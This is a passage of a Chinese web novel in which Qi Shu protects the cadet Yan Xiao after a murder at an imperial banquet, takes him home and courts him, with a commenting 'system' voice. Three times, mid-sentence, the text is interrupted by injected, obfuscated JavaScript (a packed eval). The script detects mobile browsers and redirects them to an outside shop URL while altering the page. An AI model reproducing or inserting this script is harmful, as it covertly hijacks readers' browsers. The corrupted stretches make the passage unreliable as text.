无论哪一种,都不是卡斯利安想看到的。 前些日子刚刚帮自己争取到权利的议员,转头便死在了自己安排的宴会上,这个消息如果传出,卡斯利安的声誉将会受到很大的影响。 这几乎可以确定是一场针对他的阳谋。 卡斯利安手背上青筋暴起,酒杯应声而碎,金色的酒液顺着手指蜿蜒而下。 “殿下!”亲卫惊呼,看着卡斯利安的手被玻璃碎片刺破,连忙掏出随身携带的修复喷雾递上。 卡斯利安接过,草草喷了两下,冰冷刺痛的药物顺着伤口进入身体,他却像是毫无痛感似的:“没事。” 修复喷雾对这种皮外伤的修复作用极强,仅仅两下便不再流血,伤口开始泛白愈合。 卡斯利安眸光闪烁,不难看出其中蕴藏的怒火:“给我查!谋杀帝国议员,妄图嫁祸储君,幕后之人真是好大的胆子!” 亲卫应下,随即调来更多人手,皇宫侍卫不是他们的人不可尽信,如今只能调集卡斯利安的亲卫来接管这里。 戚疏听着那边的动静,心想也到了自己出场的时候。 他揽着燕骁后腰的手轻拍,垂眸低语:“别怕,一会儿带你离开。” 什么? 燕骁还没反应过来他说的是什么意思,便见对方已经松开了他,主动从藏身处走了出去。 这边的动静瞒不过拥有s级精神力的卡斯利安,他的目光如针般刺过去:“谁?!” 戚疏从遮挡死角的巨大绿植后走出。 四目相对,卡斯利安微怔,随后眉头蹙起,戚疏不紧不慢地欠身行礼:“卡斯利安殿下。” “你怎么会在这里?”卡斯利安见到是他,防备之意稍减。 毕竟戚疏几分钟前刚从他眼前消失,这么短的时间不可能完成杀人后再毁尸灭迹,卡斯利安也没有在现场捕捉到他的精神力痕迹。 戚疏目光在房间内一扫而过,将自己过来后看到的场面复述了一遍。 卡斯利安若有所思:“你说是两名侍应生发现了死者,我已命人将其中一人带走,那另一个呢?” 走廊上的装饰绿植再次动了动,一道穿着侍应生衣服的身影走出。 燕骁脸上的红晕已经褪下,刚才他听到了戚疏对那人的称呼,走出来后更是看到了他金发金眸的象征,愣了一下,连忙行礼:“卡斯利安殿下。” 皇室象征的金发金眸,还有储君殿下的大名,但凡关注一点帝国政事的人都不会不知道。 燕骁的行礼一板一眼,远不如戚疏的动作放松,卡斯利安没有应声,他也不能自行起身,只好弯腰垂眸,静候吩咐。 “免礼。”卡斯利安看了片刻,摆摆手让他起身。 却见戚疏更快一步地去扶侍应生的手臂,两人姿态虽然不亲密,但莫名有种旁人插不进去的氛围。 卡斯利安略一挑眉,对他们两人的关系感到有些意外,不过现在最重要的还是处理艾斯克被害的事。 他定了定神,看向这个有些沉默阴郁的青年,目光如有实质:“是你和你的同伴第一个发现了艾斯克?当时是什么情况?” 燕骁下意识看向戚疏,戚疏冲他点头,手臂在背后给他支撑:“放心,只是例行询问。” 燕骁点了点头,如实说了。 其实这件事和他们本来就没有任何关系,皇宫里开展宴会,自然有皇宫中的佣人负责各项事宜,他们这些侍应生都是忙不过来时被临时召集,工作范围也只是后勤卫生这一块,压根接触不到来参加宴会的宾客。 之所以燕骁和同伴会误入休息区,是因为有人以人手不足为由让他们送套衣服来这间休息室,燕骁的同伴先一步推开门,看到里面的场景直接尖叫出声,随后便被戚疏打晕。 卡斯利安眉头皱得更深:“你们在附近有看到形迹可疑之人吗?” 燕骁怎么说也是军校的学生,这点敏锐度还是有的,他笃定地摇头:“没有,我们到主楼后没有见到任何人。” 主楼,也就是举办宴会的这栋楼,燕骁他们是从隔壁的小楼过来的,所以才会在路过花园时被戚疏看到,但燕骁和同伴从小楼到主楼二层的一路上都避开了宴会厅正厅,确实没有碰到任何人。 燕骁现在也知道自己被卷进了一场命案当中,但他并不慌乱,将自己知道的和盘而出后,再次行了一礼,不卑不亢: “卡斯利安殿下,我和我的同伴和此事绝无关系,请您相信。” 卡斯利安站在原地沉吟。 这时候,他的其他亲卫也来了,替换了皇宫侍卫后守在出入口,亲卫首领在卡斯利安耳边道:“殿下,这件事怕是瞒不住多久了。” 宴会出入口突然被严密监控,还是储君殿下的亲卫队,但凡有点脑子的都知道有大事发生,此刻宴会中已经发生躁动了。 戚疏抬眼看向卡斯利安:“殿下,如若没事,我的人便能先带走了。他只是误闯,我可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980706|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担保他和此事没有任何关系,还请殿下和殿下的人,切勿将今日的事传出去。” 幕后黑手还未找到,但卡斯利安隐隐有些猜测,这种毫不掩饰地针对自己而来的事,除了他那几个不安分的皇弟没人会做,所以也明白戚疏的担心。 他身边这个青年应该只是平民,若是被卷入案件中,难保不会被人报复,抑或是灭口。 所以他点了下头:“放心,我会全面封锁消息。” “好。”戚疏掌心在燕骁背后一撑,带着他离开,在路过卡斯利安时脚步一顿,偏头轻声道,“殿下若信我,可以查一查三皇子殿下。” 两人的目光倏地对上,又在下一刻错开。 又是三皇子。 卡斯利安的目光探究地落到他身上,但戚疏已经收回视线,带着身边的人走远,他的手揽着身边青年的肩膀,明显的保护姿态。 “殿下,要查吗?”亲卫问。 平心而论,戚疏说的话没有半点可信度,三皇子莱恩从小便是个软包子,透明人,方方面面都不出众,卡斯利安时常会忘记自己还有这样一个弟弟,但时间紧迫,艾斯克的死瞒不过今晚,事情越晚解决,舆论对他的影响就会越深,恰好应了背后之人的意。 卡斯利安纠结片刻,拍板:“查,但是艾斯克的死因交由皇宫护卫队调查,你带人亲自从莱恩身上查起,记住,不要让任何人发现。” 他便信戚疏这一次。 亲卫立正行礼:“是,殿下!” * 戚疏带着人离开,卡斯利安的人得了命令自然放行,他们从不起眼的后门出去,一路上绕开了几处监控,戚疏的悬浮车早就等候在外面。 “上车。” 直到走到车前,戚疏的手才从燕骁肩膀上收回,绅士地打开车门请人上去,自己再绕到驾驶位上车。 燕骁坐在熟悉的位置,身边是熟悉的人,上一次坐戚疏的车时发生的事情如电影播放般在脑海浮现。 侧脸不自然地泛起红,他微微侧身面朝车窗,自以为不太明显地呼了口气,实则全被戚疏看在了眼里。 安静了一晚上的系统突然冒出:[这好像不是回军校的路。] 戚疏挑眉,燕骁没注意到的事被系统注意到了,但他丝毫不慌,有理有据:[这种时候当然不能直接回学校,莱恩那种变态不知道会不会查到他身上,为了确保安全,燕骁暂时住我那里。] [呵。]好不容易遇到了一个剧情点又被戚疏打乱,系统心如死水,[你还怪贴心的呢。] 阴阳怪气。 戚疏理解他被搅乱了剧情线的不满,但无动于衷。 一路上车内安静得过分,燕骁是不知道说什么又在愣神,戚疏则是怕他觉得不自在,索性也不说话。 直到悬浮车停在一处独立的、不与旁边楼栋接壤的隐秘小楼前,看到外面全然陌生的风景,燕骁才猛然回神。 车门打开,他下了车,被戚疏引着来到门前,看到他用虹膜识别打开大门,小楼一瞬间通体亮起灯光。 站在门口的青年显得惊讶又无措:“不是回军校吗?” 他一路上因为今晚的经历和被表白的回忆出神,完全没注意到悬浮车压根没往军校的方向开。 客厅的暖光照亮门前这一小片空间,戚疏的长发好似在发着光,回头看向他的眼神温柔而专注。 燕骁却感觉自己像被哄骗着主动走进狼窝的羊羔,男人温柔如水的目光下隐藏着令人心惊的东西。 戚疏解释说:““刚发生了这种事,先在我这里待几天,等安全了再送你回学校住。” 燕骁没有说“不”的权利,又或许心底并不抗拒戚疏帮他做的决定,总之等他再回过神时,双脚已经踏进了暖光照耀的客厅,大门在背后“砰”地一声关闭。 戚疏笑意盈盈地看着他,十分绅士地伸出手:“我带你去客房,好么?” 燕骁抬脚跟上。 挑空的客厅上面悬挂着巨大的水晶吊灯,整个房子的装修风格十分繁复奢华,一楼二楼都是活动区,三层有两间卧室,燕骁跟着戚疏走进其中一间。 明亮的灯光,干净整洁的房间,还有看着就很柔软的床铺,燕骁在看清房间全貌的那一刻,蓦然止住了脚步。 17. 贫穷的军校生(17) 戚疏站在一旁笑着看他。 燕骁不知道,系统也不知道,戚疏带他来这里不是临时起意,而是蓄谋已久。 这间从没人占用过的房间,里面的一切都是戚疏亲自看着装饰的,大到窗帘和床品的颜色,小到洗漱用品的牌子,都是戚疏观察出的燕骁应该会喜欢的样式。 时间不早了,戚疏带他从宴会出来时他身上还穿着侍应生的衣服,自己的东西都没拿,所幸这个房间里所有东西都准备得齐全,不仅有全套的换洗衣服,甚至连内裤的尺寸都刚刚好。 洗完澡穿好衣服的燕骁脸颊红红,不知是被水汽蒸的还是什么别的原因。 直到在柔软的床边坐下,将因为洗澡摘下的光脑重新戴回手腕上,燕骁还有些愣愣的回不过神。 房间里空荡荡的,空气中弥漫着淡淡浅香,是和戚疏身上一样的雪松味。 戚疏怕他不自在,将他带进房间便离开了,此刻房门紧闭,陌生宽敞的房间里只剩燕骁自己,身下是柔软的仿佛云朵般的床铺,被子枕头都有干净的清香,窗帘拉的严严实实,所有灯光都被关闭,只余床头上的一盏小夜灯。 明明是这样温暖安全的环境,燕骁却翻来覆去很久,都没有睡着。 只要一闭上眼,今天宴会上经历的事便会涌现出来,地面上大片干涸的血,同伴的尖叫,躲藏时身前人的体温,还有被戚疏圈住手腕时砰砰作响的心跳。 光脑上的时间跳到了午夜十二点,燕骁从床上坐起身,在房间内环顾一周没发现水杯和接水的地方,于是决定打开门去一楼看看,他记得进门时看到了一楼楼梯左侧是厨房。 房门轻轻打开又合上,走廊上的防撞灯感应到有人出现亮起,燕骁被吓了一跳,静静站在原地片刻才慢慢朝着楼下走去。 只是刚刚走到二楼,前方便出现了一道比防撞灯更亮的灯光,燕骁下意识循着灯源看过去,看到了一间紧闭的大门,门上刻着机械化的线条,每一道线条内都嵌入了灯带,检测到不远处有人靠近,随即亮起。 这是什么地方? 燕骁一时间忘了自己本来要做什么,目光全然被这扇奇特的大门吸引,走上前两步,手指马上要贴上门板时,才猛然发觉自己这种不经过主人家同意便擅自好奇的举动十分不礼貌。 脚步一顿,燕骁立即便要转身离开,但比他速度更快的是面前大门开启的声音。 富有科技感的门平移打开一条缝隙,燕骁猛然睁大眼睛,后撤半步。 !! “睡不着吗?可以进来。” 是戚疏的声音,近到仿佛就在眼前,燕骁眨了眨眼,才在门边看到一个很不起眼的墙面通讯器,声音就是从那里传出来的。 已经被发现了,燕骁也做不出转头就跑的举动,只好硬着头皮站在原地,等大门开启到能容纳一个人通过的大小,才慢慢走进去。 门后别有洞天,门里门外仿佛两个世界。 空旷得有些过分的布局,银白色调为主的装饰,天花板是和大门一样的材质,那些极具科技感的线条代替了灯具,将整个房间照得明亮透彻,仿佛在白日。 进入房间走了几步,燕骁才看到戚疏的身影,男人坐在宽大的桌子后,桌面和椅背都是深色,他穿了一身浅色的家居服,松散的、还带着些许水汽的长发随意散落,披在肩头,整个人坐在一处深色背景下,好像在发光。 让人控制不住地想要将视线投注过去。 戚疏好像在忙,听到声音但许久不见人影,抬起头来寻找,目光和燕骁对上的那一刹那,微微扬眉。 “愣着做什么,过来。” 戚疏打了个响指,他身后的墙壁突然出现一块凹陷,在上面摁了几下,随后一把椅子便被从墙中推了出来,放在距离戚疏的不远处。 燕骁拘谨地走过去坐下。 “抱歉,我只是想倒杯水,下楼时看到门上有光亮才……”他过长的发梢遮住眼睛,坐下后比戚疏矮了一头,需要微微仰着脸才能看到对方的眼睛。 他也是坐下后才恍然发觉,这个房间或许是戚疏的书房,另一面墙壁前是通体到顶的巨大书柜,眼前的宽大桌面上悬浮着几个屏幕,上面全是密密麻麻燕骁看不懂的数据。 自觉打扰了戚疏工作的他更加不好意思,视线左移右移不知道放在哪里合适。 戚疏起身,走到一旁的茶台前倒了杯水,手心贴在玻璃杯外壁上感受了下温度,才转身端给燕骁。 “这个时间怎么还没睡?” 燕骁抿了口水,缓解了喉咙里的干涩,才道:“……有点失眠。” “嗯?”戚疏转动椅子面向他,十分认真地问,“为什么失眠,是不喜欢这里的环境吗?” 他的眸光专注得好似真的要寻求一个答案。 燕骁略略移开眼:“不,没有,这里很好。” 他的眼睫垂了下去,不知为何,又重复了一遍:“这里很好。” 遮风挡雨的房子,温暖干燥的被窝,清新的空气,甚至窗帘和床品都是让人感到舒适的低饱和度颜色,一切的一切都令燕骁感到陌生而欣喜。 失眠不过是托词,以前什么样的地方他没睡过,潮湿的小巷,漏雨的破屋,干草堆成的床铺……长久的流浪无所定居,让他养成了无论在什么环境下都能快速入睡,恢复体力的能力。 睡不着不是因为不喜欢,是因为不习惯。 和第一军校的宿舍也不相同,这里是戚疏的家,他入侵了另一个人的私人领域,这种想法让燕骁无法安然入睡,这一整晚心跳的频率都比平时快,但他说不清是因为什么。 口渴也是真的口渴,就像戚疏说的,时间不早了,燕骁想喝杯水然后强迫自己入睡,结果却不小心惊扰了在书房工作的戚疏,还被邀请了进来。 他捧着水杯一口一口喝着,戚疏看着他,一时半刻也没有说话,安静的氛围在两人之间流淌,却不显尴尬,书桌对面的墙壁也被改造过,大大的数字从金属墙壁上浮现亮起,显示时间已经来到了后半夜。 有主角在的时刻系统总是不由自主地话多:[深更半夜,孤男寡男。] 戚疏微微勾唇:[是他自己送上钩的。] [呸。]系统唾弃他,[明明是你从门口监控里看见了人,故意打开门的。] 戚疏的书房里存放了很多重要的东西,整个房间都被改造过,严密非常,有人出现在房门外,书房的监测系统就会立刻将画面发送到戚疏的光脑上。 这人在看到门外小心翼翼的那道身影时坏心思藏都藏不住,故意开启门口的通讯器,突然出声吓人一跳,再把人哄骗进来。 系统看着无知无觉的燕骁:傻孩子,被心机男骗的团团转。 房门重新关上,如果没有戚疏的指令外人就无法打开它离开,这和羊入虎口有什么区别! 戚疏但笑不语。 确实,在这样一个密闭的、掌控权全在自己手中的房间,放松警惕的青年穿着舒适的睡衣,捧着热水坐在自己身边,身上还散发着和自己浴室里洗漱用品一样的味道,柔软又可爱。 戚疏心底那点隐秘的掌控欲得到了极大满足。 读到他毫不遮掩的心思的系统:[……呵。] 老变态。 燕骁喝完了一杯水,将空杯子放在桌面上,发出咔哒一声轻响。 戚疏问:“现在有困意了吗?” 燕骁看向他,停顿片刻,还是诚实地摇了摇头:“没有。” “那要聊聊吗?”戚疏将那些工作文件推到一旁,冲他摊开手,“比如昨天发生的事情,你的一切疑问。” 时间已经跨过零点,宴会上发生的一切已经是昨天的事了。 燕骁犹豫着,点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980707|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 深夜在别人的地盘打扰、戚疏还有工作要忙……很多个理由告诉燕骁他也应该礼貌道谢然后快点离开,但对上那双幽蓝深邃的眼眸,他鬼使神差地点了头。 或许是心里的疑问足够多,又或许是深夜让人放松警惕不自觉流露出真实的内心想法,总之,燕骁一晃神的功夫,他已经从椅子上挪到了地上。 戚疏不知又操作了些什么,房间内的智能系统很快布置出了一块休闲空地,圆形的毛绒地毯上摆了两个豆袋似的沙发,燕骁被塞进其中一个,坐下后软软地陷下去,周身都被柔软包围。 戚疏在他身边另一个沙发上坐下。 两个沙发本来就紧挨着,戚疏坐下后他们的距离一下子变近了,鼻尖又嗅到了那股雪松香气,燕骁不着痕迹地朝后仰了仰。 戚疏却是很放松,一条腿曲起,手臂搭在沙发边:“想知道什么?随便问。” 既然他说了可以随便问……燕骁脑海中冒出的第一句话是: “你怎么会在那里?” 戚疏笑了一声:“参加宴会,匆忙请假离开就是因为这件事,只不过没想到会在宴会上看到你。” 他话题一转:“所以你呢,怎么会出现在皇宫举办的宴会上?” 说这话时戚疏偏过身体面朝他,两人之间的空隙被进一步挤压,他长臂一伸,手腕虚虚搭在燕骁背后,从远处看好像把人搂住了一样。 燕骁不敢看他,眼神飘向别处:“是之前就在做的工作,在酒店做侍应生,这次是被借调去了皇宫,说人手不够。” “嗯?”戚疏细细琢磨人手不够这四个字。 帝国的皇宫,每年都要举办数不清次数的宴会,怎么会出现人手不够的情况?再说就算真的紧缺,也应该从皇宫其他地方调人,而不是让外人进入皇宫。 戚疏陷入深思,而燕骁也在说完后意识到不对。 工作开始前他们都不知道目的地是何处,从接驳车上下来被人领着进入皇宫后才发觉工作的位置不同寻常,但那时燕骁也没有多想,一心想快点结束工作拿到报酬。 可是宴会上死了一名议员,还是被他和同伴撞见的,燕骁再迟钝这时候也反应过来了。 “这件事从一开始就有人在计划了。”燕骁突然抬眼,有些焦急地对戚疏说。 “没错。”戚疏打开光脑,给刚加上联系方式的卡斯利安发过去一条消息。 他差点忽略了这一点,杀人凶手是如何悄无声息混入宴会,杀完人直到离开都没有引人注意的?如果是宾客名单上的人,不可能做到离开那么长时间还不被人发现,那么只有一种可能,他不是用宾客身份进入的。 皇宫宴会一向检查严格,不明来历的人很难进入,但这次恰好有一队不需要经过严密身份检查的人进入宴会,如果凶手在这些人之中,那就好办了。 但为何这次宴会偏偏用了不属于皇宫的侍应生,作为负责人的卡斯利安还无所察觉? 燕骁顺着他的思路猜测:“要么是储君殿下身边的人做的,要么是一个从身份上来说绝对不会被怀疑的人插手了这件事。” 三皇子莱恩,这位低调得十分没有存在感的帝国皇子。 戚疏知道他是背后主谋,只是也忘了这一茬,原剧情中或许就是因为忽视了他的存在,卡斯利安才没能找出凶手,平白背了黑锅。 戚疏挑眉,将他和燕骁的猜测整理了一下告知卡斯利安,宴会不能永远不结束,宾客们已经散场,卡斯利安却还在彻夜调查,将邀请名单以外的所有人都留在了皇宫暂时监管起来。 收到戚疏消息的时候他还在一点点排查嫌疑人,看清内容后拍桌而起,叫来亲卫: “详细调查那些从皇宫外借调来的服务生,凶手就在里面。” 亲卫面色一凛,也是立即就明白了卡斯利安的意思:“是,殿下!” 18. 贫穷的军校生(18) 另一边,戚疏将自己能做的都做了,剩下的卡斯利安有能力解决,便放下光脑不再去关注。 转头发现燕骁正歪头看着他。 戚疏放下手,将这件事完完整整地讲给他听。 从戚任善要他必须参加宴会,到和卡斯利安的商议合作,再到发现燕骁的身影跟上去,打晕侍应生并带着燕骁离开。除了系统的存在和剧情,戚疏将自己知道的一切都告诉了他。 燕骁一下子接收到了大量信息,一边在脑海中归整,一边分出心思问:“你知道幕后之人是谁了?” “嗯。”戚疏应声,“三皇子莱恩。” “……三皇子莱恩?”燕骁有些吃惊,“怎么会是他?” 即便再不关注帝国新闻,他也知道帝国的这几位皇子,三皇子莱恩·沃斯,生性低调,也不受宠爱,鲜少出现在各大活动中,外界连他的长相都不是很清楚,存在感是几位皇子中最低的。 可如果真的是他在背后谋划了这一切,无疑代表了他野心勃勃,甚至将矛头对准了现在的储君——卡斯利安。 没有什么比发现一个软包子皇子居然抱有夺位想法还试图陷害储君更让人震惊的了,燕骁被过量的信息冲刷得脑袋有些懵。 “那、你,你是怎么知道的?”燕骁抓住了戚疏的手腕,有些着急地看向他。 戚疏自然不能说是因为知道了这个世界的剧情发展,只好含糊带过:“现在没有证据,一切也只是怀疑。卡斯利安会彻查此事,到底是不是他,很快就会知道结果。” 燕骁平民出身,哪里想得到一场普通宴会能牵扯出这么多事,还有关皇室的储君之争,他抓着戚疏的手用上了些力气,指尖泛白。 就在戚疏以为他被吓到正要安慰之时,却听燕骁说:“你呢,你会不会有危险?” 戚疏愣了下,伸手包裹住燕骁微凉的手指,轻轻按揉,神情也柔和下来:“放心,我不会有事。” 怕燕骁觉得这是自己的托词,他又解释说:“今晚我只是正常参加宴会,卡斯利安会处理好监控,没有人能证明我出现在了命案现场,也不会有人知道我和卡斯利安的交易,别担心。” 解释完,似是为了转移话题,戚疏转而问他:“忘了问,今晚怎么会离校去做侍应生,还记得我们的约定吗,嗯?” 燕骁有些心虚地移开视线,不敢和他对视。 上一次在地下格斗场被戚疏救了之后,那些钱戚疏无论如何都不肯收回,说给了他就是他的,然后和他约定,不再去校外找工作兼职,将全部课余时间放在攻克理论课上,戚疏帮他辅导。 今晚他被临时通知有份薪酬很高的临时工,恰好戚疏不在,他就去了,谁料想两人居然会在同一场宴会上相遇。 “嗯?又不说话。”戚疏凑近,手指轻戳他的脸颊,软软的手感很好,“不是有钱了么,怎么还要工作?” 燕骁回神,脑袋偏向一侧:“不一样,那些是你的钱。” 即便存在自己的账号中,燕骁也做不到将其据为己有,这笔巨款实在太多,超出了他前半生所拥有的全部还要再多上十几倍,他拿着这么大一笔钱,没有感到安心,反倒惴惴不安。 将自己的想法表达出来,燕骁抬眼观察着戚疏的表情,却没能如愿从中看出些什么,不知道他对这个回答是否满意。 “你啊。” 最后,燕骁等来了一声叹息。 温热的手掌抚上脸颊,轻微的疼痛唤醒了燕骁的神游,脸颊上的软肉被两根修长手指掐住,抬眸看,男人自上而下地俯视着他,嘴角挂着一道浅浅的笑。 “给了你就是你的,不需要有负担。” 戚疏说着,松开了他,燕骁不明所以,但下一刻眼前就出现了一面光脑屏幕,打开的页面是用户的存款账户,放大的字迹清楚可见。 燕骁望着那一长串的数字,整个人都呆住。 戚疏好笑地戳戳他的脸:“数清了吗?我的账户里有几位数?” 燕骁数不清,但知道自己账户里的那点钱如果汇入这长串数字中,就像滴水汇入海洋,掀不起半点波澜。 他想过贵族出身的戚疏会很有钱,但他的想象力还是不够丰富。 “这些还只是我名下的一部分流动资金,除此之外我还有自己的产业、投资、不动产,以及许多和家族牵扯极深的资产。” 戚疏轻描淡写,好似全然不知自己的话给聆听的人带来了多么大的震撼。 燕骁的双眼都瞪圆了,琥珀色的眼珠闪着光,表情一片空白。 紧接着,戚疏拉过他的手腕,抬高,用他的虹膜解锁了光脑,操作了两下,和自己的光脑碰到一起。 燕骁一惊,隐约猜到了他要做什么,立刻就要抽回手:“戚疏!” 光脑发出“滴——”的一声,燕骁急切地去扒他的手,看着自己光脑上显示的一句“恭喜您已和对方账户绑定成功”,结结实实地愣住了。 两部光脑上的余额显示现在变得一模一样,连小数点后的数字都分毫不差,戚疏这是把自己的账户使用权开放给了燕骁,怀揣这笔打八百年工都挣不来的巨款,燕骁第一次觉得自己有点晕数字。 做完这一切的戚疏淡然收回手,不紧不慢地隔空点点:“好了,现在我的钱就是你的钱,不用省着花,听见没?” 燕骁好像被天降巨款砸得回不过神,呆呆地看向他,一双眼像小猫似的圆滚滚。 戚疏被他的表情逗笑,忍不住俯身靠近,嘴唇在他额前的头发上轻轻印下。 一个轻而珍重的吻,附带一句温柔如水的宠溺低语。 “好乖啊燕骁。” 燕骁浑身一颤,终于反应过来,伸手一把推开了他,整张脸都烧红了,目光躲闪,眼睫不安地打着颤。 “你……你干什么。”他清了清嗓子,故作镇定地小声质问。 戚疏笑着抬手拨弄两下他的发梢:“抱歉,你刚才的表情太可爱了,实在没忍住。” 燕骁的嘴唇无声地翕动着,嗫嚅了半天,一个字都没说出来,只是一张脸憋得更红了,连带着眼眶都涌上红晕,一双水汪汪的漂亮眼睛欲言又止。 戚疏亲了他那一下后心里就咯噔一声,生怕燕骁会感觉到不舒服,但现在看来,燕骁对自己并不是十分抗拒,害羞的情绪大过气愤。 就像是终于敞开了一点点心扉,让戚疏挤了进去。 他抓着燕骁的手腕,似乎是知道反抗也没有作用,燕骁这次没有动,由着他在自己的光脑上划拉几下。 “好了,默认支付已经修改成我的账号,以后你花的每一笔钱我都能收到相应的记录。”戚疏将光脑还给燕骁。 燕骁低头看着,沉默不语。 他不说,但戚疏了解他的不安,用轻松的、带着点哄人意味的语气:“你卡里的钱自己存着,日常花销从我这里出,就当给我一个追求你讨好你的机会,好不好?” 燕骁发现他真的很喜欢用“好不好”“行不行”一类的词,哪怕知道以戚疏的性格决定的事难以更改,但用这样低声下气商量的语气,还是让燕骁心里某块柔软的地方被触动。 他真切地意识到,戚疏是真的在用心追求他,没有把他当做身份不平等的人看待,每一次付出每一个决定,都用他最容易接受的方式让他接受。 这份润物无声的细致,一点点填满了燕骁心里的那处空缺,并不断给予他勇气。 对任何事说不的勇气,敢于拒绝别人的勇气,还有,勇敢接受爱的勇气。 “……好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16980708|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 最后,燕骁听见自己这样说。 戚疏满意地揉了揉他的头发。 “对了,说起格斗场。”戚疏一开口,就把燕骁的注意力吸引了过去,从而没有注意到男人将他以一个极亲密的姿势圈在了怀里,“想知道他的后果么?” 燕骁想了一下,才反应过来戚疏口中的“他”指的是铁甲。 那天离开格斗场后他便没想着再回去,地下格斗场属于灰色产业,他一声不吭跑了背后老板也不能明目张胆地追究,但如果他主动送上门就不一定了,所以燕骁之后再也没去过那里。 也是因为离开之后少了一份收入来源,燕骁才将重心放在了其他兼职上,比如在高档酒店当侍应生,相比起来更安全收入更稳定。 但他不在意,不代表戚疏不在意,事实上从燕骁离开那天起,他就一直派人盯着格斗场的动静,那封闭精神力的药虽然没什么后遗症,但这笔账戚疏不可能不和他清算。 戚疏垂眸,把从手下人那里得到的信息告诉了他:“当时和你打的那一场比赛,铁甲输得很惨,触怒了格斗场的老板,被打了个半死,并且不允许医生给他治疗。” 能在帝国皇室眼皮子底下经营一家地下格斗场的人,能是什么好说话的角色,铁甲让老板输了钱,自然就要付出代价,他被打成一滩烂泥后扔出去自生自灭,再治疗时已经错过了最佳时间,双臂双腿都废了,再也打不了拳。 一个打黑赛的拳手被金主放弃,没了庇护,手脚也废了,下场可想而知,都轮不到戚疏的人动手,他也要完了。 燕骁听他讲述的过程中情绪平稳,仿佛那个人不是他的仇人,听到最后也只是抿了下唇:“那也算他活该了。” 戚疏笑而不语。 实际上这件事还有后续,他怕脏了燕骁的耳朵就没说,铁甲这人仗着有金主靠山干了不少害人的事,手下人最后传来的消息说,铁甲被格斗场放弃的消息传出去,几个壮年男人找到了断手断脚的他,带走折磨殴打了几天几夜,最后看着只剩半口气吊着,活不了几天了。 戚疏对这个结果很满意,吩咐手下人撤退不必再监视,算算时间,这个时候铁甲怕是已经成了垃圾堆里的一堆尸骨。 不过这些事就没必要告诉燕骁让他烦心了。 “唔……”聊天时间太长,燕骁控制不住地小小打了个哈欠,眼睛里蒙上一层水汽,“谢谢你,戚疏。” 不仅是谢谢他告诉自己铁甲的结局,更是谢谢他将自己的事情放在心上,戚疏每天那么忙,却还是抽出时间来解决他的麻烦。 夜晚使人困顿,也让人放松警惕,恐怕燕骁自己都没发现,他已经逐渐对戚疏没有了防备,毫无察觉地在这人面前露出柔软的一面。 戚疏轻笑:“不用谢。” 戚疏起身,递出一只手给他,燕骁看了片刻,慢吞吞伸出手,却是软绵无力地搭在他手心,没有半点要用力的倾向。 看他像小孩儿耍赖似的,戚疏眼中笑意加深,俯下身去,一手穿过他的双腿,另一只手从沙发缝隙里伸进揽住他后背。 “可以吗?” 戚疏在做最后的确认。 大抵是气氛太好,加上脑袋困得反应迟钝,燕骁这次没有犹豫,顺从自己内心的真实想法,点头。 下一刻,他突然腾空,双臂还没找到合适的位置,就被男人托着往上掂了掂,耳边留下一句轻笑:“好乖。” 直到躺回那张柔软的大床,燕骁闭上了眼,耳边却还环绕着那句“好乖”,呼吸逐渐绵长,意识慢慢慢慢沉入一片云中,最后的最后,记忆定格在浓烈雪松气息靠近的那一刹。 床边的小夜灯也被关闭,静谧的房间里,燕骁无意识偏了偏头,两片薄薄的嘴唇上点缀着一丝莹润水光。 19. 贫穷的军校生(19) 怕剧情的自我修正影响到燕骁,戚疏干脆帮两人请了几天假,在卡斯利安那边调查出结果拿捏住莱恩的把柄之前,燕骁最好都不要出现在学校。 在自己眼皮子底下总不会再出事。 于是等燕骁一觉醒来,走下楼梯,就见戚疏穿着件黑色真丝衬衫,在厨房做饭的身影。 男人宽肩窄腰,衬衫穿的有些松垮,长发没怎么打理,有些凌乱地铺在肩膀上,透过窗户照进房间的阳光正好,将人映衬得仿佛发着光。 见他下楼,戚疏下巴微抬,手上动作还不慌不忙地颠了下锅。 “去餐厅等我一会儿,很快就好。” 燕骁现在面对戚疏不会动不动紧张了,他好奇地走近两步,看清厨房台面上的东西后,眼睛一亮:“都是你做的吗?” 盘子里装着各式各样的面点,几份清爽小菜,两碗热气腾腾的粥,香气扑鼻。 燕骁心里突然被触动。 眼前的一幕,鼻尖萦绕的香气,明亮的房间,肆意的阳光,一切都是陌生的,但又是温暖的,是一种可以称之为“家”的感觉。 戚疏熟练地将最后一样食物盛进盘中,拍拍一旁的机器人脑袋,机器人开始将饭菜一点点端出厨房,摆放在餐桌上。 燕骁一一尝过之后,终于相信了戚疏说自己会做饭的话。 因为确实很好吃。 